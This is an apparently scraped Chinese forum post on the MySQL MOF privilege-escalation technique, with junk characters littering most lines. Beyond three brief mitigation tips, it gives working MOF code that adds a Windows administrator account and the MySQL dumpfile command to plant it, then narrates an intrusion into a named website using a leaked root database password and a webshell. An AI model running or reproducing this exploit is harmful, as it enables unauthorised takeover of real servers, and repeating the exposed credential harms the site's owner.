Mysql mof扩展漏洞防范方法9 L& ~) ?6 Y1 a2 Q
2 p; h% p) ^% a+ E1 l9 S
网上公开的一些利用代码:6 k, E& x* Z$ S$ ?5 G% e% N
9 c# g) ~; ^ y' S
#pragma namespace(“\\\\.\\root\\subscription”)4 q$ a/ o* \$ ?. C2 |; K) X3 t9 j& }
4 a$ b+ ` \0 D3 i5 ~instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
) Y! H0 H: @6 P, f3 p) C
. [1 b. }1 H1 J3 f A+ _ ?3 N, u3 O% ]+ w
2 Q1 J B) s+ E# B ( a: U/ u2 R1 Y
5 V; e. R8 q% i( w; a( p0 }' J连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;+ {/ L6 t! s% L# R% i$ p* D/ d/ |
从上面代码来看得出解决办法:9 S$ t# k x, J: R5 ~
8 V7 n4 X1 r; b' k1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数& ~: e( J: T& i# l" g, k; a
6 `4 I2 }/ F4 A2、禁止使用”WScript.Shel”组件
+ f& I$ D9 t0 Z
( `9 W# C0 X* e( i5 i1 t3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER& }1 V/ G8 P5 a3 s1 W; h
$ i9 Y4 H; @; q0 [6 H4 ^7 O当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
" g, X( E5 v; ]# ~7 v1 D7 i0 j% P4 @. p( Q& ]( D$ d, V
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权* s$ Z+ I& }/ X9 x! N
. G( w6 u) D$ R8 c. c
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
, ?$ ?( \- e1 P+ m) ^' a: i; U
& `7 I/ Y6 L! s" D( H7 t看懂了后就开始练手吧
" ?1 G, ~+ T/ F" E6 n8 L/ T; D5 J6 N6 S$ \, Q7 Q" |) T
http://www.webbmw.com/config/config_ucenter.php 一句话 a
# P5 v' z" f- w% t1 f* H/ i8 G+ ^4 k5 v0 L0 W9 p2 t
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
: n% a) E' {( k: Z" S3 D- w+ C+ z4 X
于是直接用菜刀开搞+ z: {( f( z/ n. I6 @& B( n
7 w+ T& T& ^6 a ]. g: N9 z
上马先6 A9 J: O D3 S
! V+ h* \+ ], ]/ ?- k既然有了那些账号 之类的 于是我们就执行吧…….
& p3 A" k: W, z, B( \
% y* j+ \$ H7 o0 b6 r小小的说下' b0 O( Z: k" `0 a
- i5 \ C5 d4 c$ P0 e7 L
在这里第1次执行未成功 原因未知3 g8 A L; l6 L5 Y
$ \. B- M$ j" L a% i
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
1 J0 p) T k1 F+ r4 s2 d4 c9 q5 O! @4 n
#pragma namespace(“\\\\.\\root\\subscription”), w2 {: @% }8 e: s' T+ N
: w. p3 y3 l/ c2 W
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
, M3 o% M7 Z* J9 L3 \) v2 e; K
. D! r B6 b: x, l我是将文件放到C:\WINDOWS\temp\1.mof
6 c% A5 s- `5 |" c6 I; n! ?; S& `
7 f% w; n$ V# d5 T; |, e. q* w ~所以我们就改下执行的代码5 o0 U; j) J. ^+ V# A& V
2 _0 L+ _1 o/ c5 s% w) R& }. ?' F
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;4 L; k" u1 R2 u k) ]7 R9 P
. Z7 a1 q/ ^" j$ ^
1 B& @1 j h. p$ p" @% z" G
7 z5 e# a/ H- W; ?/ }
但是 你会发现账号还是没有躺在那里。。
$ ]$ a4 P0 ^' n$ P2 N+ y% l! D q+ V/ s" A" g6 a& r2 L: `' v. Y
于是我就感觉蛋疼/ z& h+ h' ]8 h9 F) c
* \2 W6 Z' o2 u( q
就去一个一个去执行 但是执行到第2个 mysql时就成功了……… R1 H, n9 v# b- J& a- ^8 Q
6 z) w8 Z; n* ]6 z# J' Q" X; P
5 r Z: B1 w! ~4 S+ m9 ^但是其他库均不成功…' B. W+ p p1 N1 g
9 D4 h4 u4 q( |+ O/ N4 ~我就很费解呀 到底为什么不成功求大牛解答…
/ n( b1 q: ?4 H2 K) \0 u2 g# _
9 y" }* c( z7 X3 M9 ~ Q& F2 {# \- X& v8 R$ s( ^
; j0 w- S3 s0 c/ g! Z" V3 [
|